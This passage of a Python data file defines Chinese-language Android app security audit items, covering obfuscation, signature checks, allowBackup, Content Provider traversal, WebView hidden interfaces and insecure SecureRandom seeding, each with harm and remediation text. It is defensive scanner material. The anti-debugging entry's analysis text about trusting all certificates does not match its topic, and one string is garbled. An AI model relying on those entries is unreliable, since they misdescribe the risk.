1-人工\r\n        'name' : u'第三方SDK安全',\r\n        'desc' : u'评估样本app在切换界面后是否会留存敏感信息，产生泄露风险',\r\n        'level' : u'中危',\r\n        'harm' : u'敏感信息未清空，可能导致敏感信息被盗取',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在界面切换操作时，是否存在对敏感信息的处理',\r\n        'adviseT' : u'1.建议对APP编码中的界面切换进行安全加固\\n2.议将allowBackup属性值显示设置为false：出于安全考虑，建议关闭应用备份功能; 在AndroidMenifest.xml文件中，将相应组件的“android:allowBackup”属性设置为“false”',\r\n    },\r\n     '0_22' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'动态注册广播',\r\n        'desc' : u'使用registerReceiver动态注册的广播在组件的生命周期里是默认导出的。导出的广播可以导致拒绝服务、数据泄漏或是越权调用。',\r\n        'level' : u'低危',\r\n        'harm' : u'1.本地APP中广播外泄\\n2.外部广播传递到本地APP中',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'Android 可以在配置文件中声明一个receiver或者动态注册一个receiver来接收广播信息，攻击者假冒APP构造广播发送给被攻击的receiver，是被攻击的APP执行某些敏感行为或者返回敏感信息等，如果receiver接收到有害的数据或者命令时可能泄露数据或者做一些不当的操作，会造成用户的信息泄漏甚至是财产损失',\r\n        'adviseT' : u'1.通过给将要传递的广播绑定权限\\n2.对接收来的广播进行验证，返回结果时需注意接收app是否会泄露信息',\r\n    },\r\n    '0_23' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'反调试保护自动化',\r\n        'desc' : u'为了防止 APK 被动态调试，可以检测是否有调试器连接。Android 系统在 android.os.Debug 类中提供了 isDebuggerConnected()方法，用于检测是否有调试器连接。可以在 Application 类中调用 isDebuggerConnected()方法，判断是否有调试器连接，如果有，直接退出程序。。',\r\n        'level' : u'低危',\r\n        'harm' : u'应用未设置启用反调试保护机制，恶意攻击者可以反编译源程序后，在程序中任意设置断点并进行动态调试，窥探客户端的数据流和工作流。大大降低了黑客分析程序逻辑的难度，导致敏感数据加密逻辑被分析。',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'��在风险',\r\n        'analysisT' : u'由于业务考虑或开发策略，选择了信任所有证书就会引起问题',\r\n        'adviseT' : u'建议增加反调试保护机制',\r\n    },\r\n\t'0_24' :  {\r\n        'type' : 0,\r\n        'name' : u'本地拒绝服务',\r\n        'desc' : u'攻击者通过intent发送空数据、异常或畸形数据给受害者应用，导致其崩溃',\r\n        'level' : u' 中危',\r\n        'harm' : u'本地拒绝服务漏洞不仅可以导致安全防护等应用的防护功能被绕过或失效（如杀毒应用、安全卫士、防盗锁屏等），而且也可被竞争方应用利用来攻击，使得自己的应用崩溃，造成不同程度的经济利益损失。',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'Android应用本地拒绝服务漏洞源于程序没有对Intent.getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获，从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用崩溃的目的',\r\n        'adviseT' : u'1.在使用Intent获取Extra数据时增加异常处理，防止抛出异常引发崩溃\\n2.在使用getAction时对返回值进行null检查后再使用\\n3.在使用Intent获取Array、List类的的数据时，检查长度后再做操作',\r\n    },\r\n}\r\n\r\nSourceItemDict = {\r\n    '1_0' : {\r\n        'type' : 0,\r\n        'name' : u'程序签名校验检查',\r\n        'desc' : u'应用存在重新打包和重新签名的安全风险，为了提高安全性有必要对签名信息进行校验',\r\n        'level' : u'高危',\r\n        'harm' : u'1.应用可以被篡改内容后重新签名发布\\n2.应用可以被植入恶意代码后重新签名发布',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'应用没有添加原始签名的校验的话，将导致应用被二次打包和重新签名的攻击',\r\n        'adviseT' : u'1. Native层本地签名校验\\n2.服务器校验',\r\n    },\r\n\r\n    '1_1' : {\r\n        'type' : 0,\r\n        'name' : u'完整性校验检查',\r\n        'desc' : u'应用很容易被恶意篡改后进行二次打包重新发布，存在极强的完整性破坏风险',\r\n        'level' : u'高危',\r\n        'harm' : u'应用容易被反编译篡改和二次打包发布',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于应用没有采取必要的防反编译保护手段和二次打包校验措施，导致应用容易被反编译篡改和二次打包发布',\r\n        'adviseT' : u'1.对应用添加保护标志，使反编译操作失效\\n2.对应用运行时添加校验，使运行时失效',\r\n    },\r\n\r\n    '1_2' : {\r\n        'type' : 0,\r\n        'name' : u'代码混淆检查',\r\n        'desc' : u'没有经过混淆加密的DEX文件很容易通过反编译工具还原为smali文件或java文件，对于恶意逆向分析提供便利',\r\n        'level' : u'高危',\r\n        'harm' : u'DEX文件中的逻辑容易暴露，核心算法和敏感数据容易被窃取',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于DEX文件没有经过混淆加密保护，应用容易通过反编译工具还原为java代码，根据其函数名和类名等信息可以预测应用行为分析应用功能',\r\n        'adviseT' : u'1.开发中使用proguard对应用源码进行混淆加密编译\\n2.在发布后对DEX文件进行更高强度的混淆加密',\r\n    },\r\n\r\n    '1_3' : {\r\n        'type' : 0,\r\n        'name' : u'反编译防范检测',\r\n        'desc' : u'没有经过反编译保护可能会使恶意用户获取程序源码',\r\n        'level' : u'高危',\r\n        'harm' : u'恶意用户获取程序源码可能会知晓程序的内部逻辑等重要信息',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'没有经过反编译保护可能会使恶意用户获取程序源码',\r\n        'adviseT' : u'对程序进行加壳保护，在Manifest文件中加入不存在的资源引用。',\r\n    },\r\n\r\n    '1_4' : {\r\n        'type' : 0,\r\n        'name' : u'资源文件保护检查',\r\n        'desc' : u'没有经过资源文件保护可能会使恶意用户获取资源文件',\r\n        'level' : u'中危',\r\n        'harm' : u'资源可能被恶意用户获取',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'没有经过资源文件保护可能会使恶意用户获取资源文件',\r\n        'adviseT' : u'根据资料对资源文件进行保护',\r\n    },\r\n\r\n    '1_5' : {\r\n        'type' : 0,\r\n        'name' : u'硬编码-密码敏感词编码检查',\r\n        'desc' : u'源码中用户名密码等敏感信息用具有固定含有的名称表示',\r\n        'level' : u'中危',\r\n        'harm' : u'用户名密码等敏感信息如若用具有特定含义的名称命名容易被攻击者进行跟踪测试，进而影响应用安全',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'用户名，密码等敏感词被作为关键词在源码中搜索后作为对象进行跟踪，动态调试时根据关键字的运行记录可以定位关键方法的位置',\r\n        'adviseT' : u'1.利用无意义的变量名替换敏感词，做好对比记录\\n2.对敏感词加密',\r\n    },\r\n\r\n    '1_6' : {\r\n        'type' : 0,\r\n        'name' : u'硬编码-密钥敏感词编码检查',\r\n        'desc' : u'源码中密钥方法等敏感词被跟踪调试的风险',\r\n        'level' : u'中危',\r\n        'harm' : u'源码接口，方法参数等需要加密用到密钥方法被跟踪调试，影响应用关键方法的安全',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'Cipher类中的方法如getProvider() getAlgorithm()等作为关键词搜索到的参数等，可作为跟踪调试的对象，又如keyGeneratord方法可对生成的key进行加密',\r\n        'adviseT' : u'去除敏感词表示，更换变量名',\r\n    },\r\n\r\n    '1_7' : {\r\n        'type' : 0,\r\n        'name' : u'主配置文件保护检查',\r\n        'desc' : u'Apk可能被反编译和修改',\r\n        'level' : u'中危',\r\n        'harm' : u'没有进行主配置文件保护的程序可能被轻易的反编译',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于配置文件中存在着大量的信息，例如服务名、Activity名等等，如果被反编译了，可能会泄露APK内部的一些信息。此外，将AndroidManifest文件反编译后加上debuggable标识，再对程序进行重打包，就有可能对程序进行非法的调试，进而进行破解',\r\n        'adviseT' : u'在AndroidManifest文件中添加不存在的资源标识',\r\n    },\r\n\r\n    '1_8' : {\r\n        'type' : 0,\r\n        'name' : u'安全编码规范-调用ROOT权限检查',\r\n        'desc' : u'恶意应用加入Root用户组后存在感染系统和其他应用的风险',\r\n        'level' : u'中危',\r\n        'harm' : u'获得Root权限后以便于进行搜索查询注入等操作，影响手机安全',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'需要调用Root权限的应用除了部分安全应用外大部分均为恶意应用或伪装成普通应用的恶意应用，该类应用如若获得Root权限将会对系统和系统内的应用，造成账户丢失，数据遗失等问题',\r\n        'adviseT' : u'限制不必要的Root权限',\r\n    },\r\n\r\n    '1_9' : {\r\n        'type' : 0,\r\n        'name' : u'硬编码-敏感字符串检查',\r\n        'desc' : u'当用户在使用应用的过程中，输入库中敏感字符串以后的处理机制',\r\n        'level' : u'低危',\r\n        'harm' : u'敏感字符串不做处理，将影响使用应用的用户使用环境',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'对于敏感字符串，国家规定和谐的词语以及客户定制的敏感词不进行处理可能会违反国家政策，破坏应用的使用环境',\r\n        'adviseT' : u'在应用中添加方法，根据词库屏蔽敏感字符串',\r\n    },\r\n\r\n    '1_10' : {\r\n        'type' : 0,\r\n        'name' : u'安全编码规范-加密算法检查',\r\n        'desc' : u'检查应用中是否使用了加密算法对关键信息进行保护',\r\n        'level' : u'低危',\r\n        'harm' : u'1.暴露关键信息\\n2.暴露重要逻辑',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在代码的关键点如登录注册等需要与后台进行交互的位置上使用加密算法利于保护用户信息以及关键代码实现，',\r\n        'adviseT' : u'1.不要使用自定义的加密算法\\n2.采用强度足够的加密算法进行加密操作\\n3.对加密算法逻辑进行保护',\r\n    },\r\n\r\n    '1_11' : {\r\n        'type' : 0,\r\n        'name' : u'安全编码规范-全反射调用检查',\r\n        'desc' : u'评估样本是否存在不安全的全反射调用',\r\n        'level' : u'低危',\r\n        'harm' : u'存在反射调用风险的app可能会导致恶意程序读取设备SD卡上的信息，包括联系人信息或短信，造成用户个人隐私的泄露',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于使用不安全的全反射调用，导致恶意代码执行',\r\n        'adviseT' : u'建议对APP应用实施全反射调用检查',\r\n    },\r\n\r\n    '1_12' : {\r\n        'type' : 0,\r\n        'name' : u'安全编码规范-明文SQL语句检查',\r\n        'desc' : u'评估样本app编码中是否出现不安全的SQL语句',\r\n        'level' : u'低危',\r\n        'harm' : u'不安全及不规范的SQL语句会增加SQL注入的风险',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在涉及数据的操作中，存在不安全的SQL语句，需要遍历检查',\r\n        'adviseT' : u'1.少用空值作为查询条件\\n2.对数字型的SQL查询采用明确的数字型强制类型转换\\n3.对字符型的参数进行转移后，能防止攻击者输入单引号、双引号、反斜线等“闭合类字符”进行闭合注入',\r\n    },\r\n\r\n    '1_13' : {\r\n        'type' : 1,\r\n        'name' : u'程序签名校验渗透',\r\n        'desc' : u'APP应用存在重新打包和重新签名的安全风险，为了提高安全性有必要对签名信息进行校验',\r\n        'level' : u'高危',\r\n        'harm' : u'1.应用可以被篡改内容后重新签名发布\\n2.应用可以被植入恶意代码后重新签名发布\\n3.应用使用的签名校验算法强度不够容易被绕过或屏蔽',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'应用没有添加原始签名的校验的话，将导致应用被二次打包和重新签名的攻击',\r\n        'adviseT' : u'1. Native层本地签名校验\\n2.服务器校验',\r\n    },\r\n\r\n    '1_14' : {\r\n        'type' : 1,\r\n        'name' : u'完整性校验渗透',\r\n        'desc' : u'应用很容易被恶意篡改后进行二次打包重新发布，存在极强的完整性破坏风险',\r\n        'level' : u'高危',\r\n        'harm' : u'应用容易被反编译篡改和二次打包发布',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于应用的防反编译措施强度不够或二次打包校验容易被绕过，导致应用的完整性无法保证',\r\n        'adviseT' : u'1.对应用添加保护标志和校验代码，使反编译和二次打包后的运行失效\\n2.对应用进行加固，防止应用的保护代码被绕过',\r\n    },\r\n\r\n    '1_15' : {\r\n        'type' : 1,\r\n        'name' : u'代码混淆渗透',\r\n        'desc' : u'没有经过混淆加密的so文件很容易通过反编译工具还原为汇编代码或伪代码，对于恶意逆向分析提供便利',\r\n        'level' : u'高危',\r\n        'harm' : u'so文件中的逻辑容易暴露，核心算法和敏感数据容易被窃取',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于so文件没有经过混淆处理或加密保护，恶意逆向分析可以对so文件进行还原',\r\n        'adviseT' : u'1.开发中使用LLVM-Obfuscator对应用c/c++源码进行混淆加密编译\\n2.在发布后对so文件进行加固保护',\r\n    },\r\n\r\n    '1_16' : {\r\n        'type' : 1,\r\n        'name' : u'DEX保护强度渗透',\r\n        'desc' : u'评估样本是否对Dex文件进行了保护处理',\r\n        'level' : u'高危',\r\n        'harm' : u'1.程序逻辑被篡改\\n2.收费平台被破坏\\n3.加入恶意推送',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'未对dex文件做过处理的，很容易的可以找到程序的原始逻辑，程序的代码可以被二次篡改',\r\n        'adviseT' : u'1.对smali文件进行流程混淆',\r\n    },\r\n\r\n    '1_17' : {\r\n        'type' : 1,\r\n        'name' : u'SO保护强度渗透',\r\n        'desc' : u'评估样本是否存在SO保护措施',\r\n        'level' : u'高危',\r\n        'harm' : u'1.未保护的SO可以看到源码\\n2.程序的逻辑可以被篡改',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'Android程序的大部分关键代码都写在native层，未对so文件进行保护，这种情况下可以被静态查看或者保护强度不够可以被轻松的动态dump。这将对开发者造成严重的损害',\r\n        'adviseT' : u'1.对so文件进行混淆保护',\r\n    },\r\n\r\n    '1_18' : {\r\n        'type' : 1,\r\n        'name' : u'资源文件保护渗透',\r\n        'desc' : u'检测资源文件是否经过加固保护，分析其加固保护的强度',\r\n        'level' : u'高危',\r\n        'harm' : u'没有进行加固保护或加固保护强度太弱的资源文件会被轻易破解，导致程序敏感信息泄露',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'没有经过资源文件保护可能会使恶意用户获取资源文件',\r\n        'adviseT' : u'使用具有资源文件防反编译功能的加密加固工具对APP中的资源文件进行加密',\r\n    },\r\n\r\n    '1_19' : {\r\n        'type' : 0,\r\n        'name' : u'内存代码安全',\r\n        'desc' : u'评估样本是否存在Android本地数据安全问题',\r\n        'level' : u'高危',\r\n        'harm' : u'用户信息、密码等敏感重要的信息明文存储在Shared Preferences文件中，导致攻击者可通过root手机来查看敏感信息',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'使用MODE_WORLD_READABLE模式创建Shared Preferences文件或使用MODE_WORLD_WRI TEABLE模式创建Shared Preferences文件并含有“android:sharedUserId”属性值和测试签名。导致攻击者可通过root手机来查看敏感信息',\r\n        'adviseT' : u'1.避免使用MODE_WORLD_WRITEABLE和MODE_WORLD_READABLE模式创建进程间通信的',\r\n    },\r\n\r\n    '1_20' : {\r\n        'type' : 1,\r\n        'name' : u'业务敏感逻辑渗透',\r\n        'desc' : u'敏感逻辑出现问题有可能使用户账户信息泄露等',\r\n        'level' : u'高危',\r\n        'harm' : u'用户信息泄露',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在很多情况下，业务逻辑是需要保密的，例如登录的逻辑，汇款的逻辑等。所以应当对业务逻辑进行加密，同时对通讯流程进行加密，这样才能够保证第三方无法猜测业务逻辑',\r\n        'adviseT' : u'对应用进行加固，对通讯信道进行加密',\r\n    },\r\n\r\n    '1_21' : {\r\n        'type' : 1,\r\n        'name' : u'反编译防范渗透',\r\n        'desc' : u'检测应用是否采取了有效的防反编译保护措施，分析其保护强度',\r\n        'level' : u'高危',\r\n        'harm' : u'应用没有采取有效的防反编译保护措施或其保护强度不够的话会导致应用被恶意分析人员进行反编译等操作，造成应用敏感信息和核心逻辑的泄露',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'应用可被反编译，可以获取还原的源码',\r\n        'adviseT' : u'对程序进行加壳保护，在Manifest文件中加入不存在的资源引用',\r\n    },\r\n\r\n    '1_22' :{\r\n        'type' : 0,\r\n        'name' : u'未移除WebView组件系统隐藏接口',\r\n        'desc' : u'android webview组件包含3个隐藏的系统接口：searchBoxJavaBridge_, accessibilityTraversal以及accessibility，恶意程序可以利用它们实现远程代码执行',\r\n        'level' : u' 中危',\r\n        'harm' : u'攻击者可以利用这个实例执行远程代码',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'当BrowserFrame初始化的时候，会创建一个 android.webkit.SearchBoxImpl实例，并将此实例使用searchBoxJavaBridge_这个名字添加为JavaScript Object，而攻击者可以利用这个实例执行远程代码',\r\n        'adviseT' : u'请通过显示调用removeJavascriptInterface移除这三个系统隐藏接口',\r\n    },\r\n\r\n    '1_23' : {\r\n        'type' : 0, # 0-自动 1-人工\r\n        'name' : u'随机数不安全使用',\r\n        'desc' : u'调用SecureRandom类中的setSeed方法。',\r\n        'level' : u'中危',\r\n        'harm' : u'生成的随机数具有确定性，存在被破解的可能性。',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n        'harmTag':[u'用户敏感信息泄露',u'数据暴露'],\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在调用SecureRandom类的构造函数SecureRandom(byte[] seed)和setSeed()方法设置随机种子，这两种方式都会导致生成的随机数可以预测，导致后续依赖于该随机数的加密不安全',\r\n        'adviseT' : u'1.不使用setSeed方法\\n2.使用/dev/urandom或者/dev/random来初始化伪随机数生成器',\r\n    },\r\n}\r\n\r\nDataItemDict = {\r\n    '2_0' : {\r\n        'type' : 0,\r\n        'name' : u'应用数据任意备份',\r\n        'desc' : u'AndroidManifest.xml中的android:allowBackup属性设置不当会导致adb命令backup和restore的使能，可以备份和恢复应用程序数据',\r\n        'level' : u'高危',\r\n        'harm' : u'应用数据可以通过adb backup命令备份出来，其敏感数据会通过备份操作泄露',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于AndroidManifest.xml中的android:allowBackup属性设置不当，应用中的敏感数据可以被备份到本地，导致数据被窃取和泄露',\r\n        'adviseT' : u'将AndroidManifest.xml中的android:allowBackup属性显式设置为false',\r\n    },\r\n\r\n    '2_1' : {\r\n        'type' : 0,\r\n        'name' : u'存储数据检查',\r\n        'desc' : u'本地存储的数据容易被恶意用户的分析和破解',\r\n        'level' : u'中危',\r\n        'harm' : u'本地存储的数据在没有经过加密措施处理时，很容易被相关工具打开，造成敏感信息泄露和数据篡改侵害',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于应用默认本地存储的数据是没有经过加密处理的，本地数据容易遭受泄露和篡改侵害',\r\n        'adviseT' : u'1.尽量不要把敏感数据存储在本地，把用户名密码存储在keystore内\\n2.ContentProvider要使用带参数的数据操作，防止SQL注入',\r\n    },\r\n\r\n     '2_6' : {\r\n        'type' : 1,\r\n        'name' : u'存储数据渗透',\r\n        'desc' : u'本地存储的敏感数据需要具备一定安全级别的加密措施进行保护，否则容易被恶意用户分析和破解',\r\n        'level' : u'高危',\r\n        'harm' : u'应用本地存储的数据没有经过良好的加密措施保护的话，即使存储的数据经过加密处理也容易被分析破解，应用可以被获取到数据原文或被篡改数据',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于应用对数据采取的加密算法强度不够或者加密流程容易被分析控制，则数据即使经过加密处理也存在极大风险',\r\n        'adviseT' : u'1.尽量不要把敏感数据存储在本地，把用户名密码存储在keystore内\\n2.ContentProvider要使用带参数的数据操作，防止SQL注入\\n3.对所有输入的数据要先检查再使用\\n4.用户敏感信息的存储和操作流程要做加密等保护措施',\r\n    },\r\n\r\n    '2_3' : {\r\n        'type' : 0,\r\n        'name' : u'远程数据通讯协议',\r\n        'desc' : u'在远程数据通讯过程中，使用\\nhttp协议传输数据时，所有数据均为明文传输',\r\n        'level' : u'中危',\r\n        'harm' : u'1.传输数据容易被截获进行抓包分析\\n2.数据包中的敏感信息容易被分析篡改',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于没有使用加密协议，数据包内容没有得到有效保护，导致传输中的敏感信息容易被分析篡改',\r\n        'adviseT' : u'1.尽量使用https等加密协议进行数据传输\\n2.数据包中的敏感信息不能用明文传输',\r\n    },\r\n\r\n    '2_4' : {\r\n        'type' : 0,\r\n        'name' : u'Content Provider 目录遍历脆弱点',\r\n        'desc' : u'评估样本是否存在Content \\nProvider目录遍历脆弱点漏洞使被其他程序恶意调用',\r\n        'level' : u'中危',\r\n        'harm' : u'攻击者利用该应用暴露的Content Provider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'Android Content Provider存在文件目录遍历安全漏洞，该漏洞源于对外暴露Content Provider组件的应用，没有对Content Provider组件的访问进行权限控制和对访问的目标文件的Content Query Uri进行有效判断，攻击者可以利用该应用暴露的Content Provider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的',\r\n        'adviseT' : u'1.将不必要导出的Content Provider设置为不导出\\n2.去除没有必要的OpenFile()接口',\r\n    },\r\n\r\n    '2_5' : {\r\n        'type' : 0,\r\n        'name' : u'Content Provider URI脆弱点',\r\n        'desc' : u'评估样本是否存在Content Provider URI脆弱点漏洞使被其他程序恶意调用',\r\n        'level' : u'中危',\r\n        'harm' : u'攻击者利用该应用暴露的Content Provider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'content URI 是一个标志provider中的数据的URI．Content URI中包含了整个provider的以符号表示的名字(它的authority) 和指向一个表的名字(一个路径)。当你调用一个客户端的方法来操作一个provider中的一个表，指向表的content URI是参数之一',\r\n        'adviseT' : u'1. minSdkVersion不低于9\\n2. 不向外部app提供的数据的私有content provider设置exported=“false”避免组件暴露(编译api小于17时更应注意此点)',\r\n    },\r\n\r\n    '2_2' : {\r\n        'type' : 1,\r\n        'name' : u'密码专用键盘保护',\r\n        'desc' : u'监控键盘输入信息',\r\n        'level' : u'高危',\r\n        'harm' : u'用户的账户信息被窃取',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'键盘被监控后用户在屏幕上的点击操作将以文本的形式储存并发送到攻击者手中，其中的用户名密码等信息如若丢失则会影响账户安全',\r\n        'adviseT' : u'使用安全键盘相关的SDK产品或者自定义键盘',\r\n    },\r\n\r\n    '2_7' : {\r\n        'type' : 1,\r\n        'name' : u'敏感数据截获',\r\n        'desc' : u'在应用传输数据的过程中截获特定数据',\r\n        'level' : u'高危',\r\n        'harm' : u'1.用户名密码等信息被窃取盗用\\n2.网络数据被截取，可用于分析用户\\n3.伪造网络请求，影响账户安全',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'用户数据被截取，用户信息如个人信息使用习惯等信息被窃取',\r\n        'adviseT' : u'传输数据加密处理',\r\n    },\r\n\r\n    